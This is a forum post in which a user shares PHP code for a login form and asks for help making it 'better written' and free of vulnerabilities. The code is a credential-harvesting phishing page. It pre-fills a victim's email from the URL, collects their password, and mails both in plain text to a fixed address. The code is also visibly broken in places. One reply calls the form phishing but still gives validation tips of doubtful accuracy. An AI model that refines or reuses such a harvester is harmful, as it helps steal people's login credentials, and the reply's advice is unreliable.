trjhtr

My code works well, but i still don't think it is well written. Can someone help to improve the code so as to get rid of vulnerabilities.

My php code:

<?php
$email = filter_var($_GET['email'], FILTER_VALIDATE_EMAIL);
if ($email === false) 
 // Not a valid email address! Handle this invalid input here.

if (isset($_POST["submit"])) 

$password = $_POST['password'];
$to = "feedback@mydomain.com";
$subject = 'Link Data';
$message = "Email Address: " . $email . "n" .
$message = "Password: " . $password . "n" .
$headers = "From: webmaster@mydomain.comrn";
$success = mail($to, $subject, $message, $headers);
 
?>

The form:

<?php if (isset($success) && $success) ?>
 Yor form was successfully sent.
 <?php ?>

<div class="box-login1">
<form method="post" action="<?PHP echo htmlspecialchars($_SERVER['PHP_SELF']); ?>?email=<?php echo htmlspecialchars($email) ?>" accept-charset="UTF-8">
<input name="email" type="text" id="email" value="<?php echo htmlspecialchars($email) ?>" maxlength="64" readonly="readonly" required/>
<input type="password" name="password" id="password" required/>
<input type="submit" name="submit" id="submit" value="submit"/> 
</form>

Your phishing form looks OK, user will try to login using his username and password and his logins will be sent directly to someone else.

Being serious you should validate password depending on what chars you allow or if you want to do it with sanitize fitlers then use 'FILTER_SANITIZE_STRING'.
But you should just hash password and never send it or save it in plain text.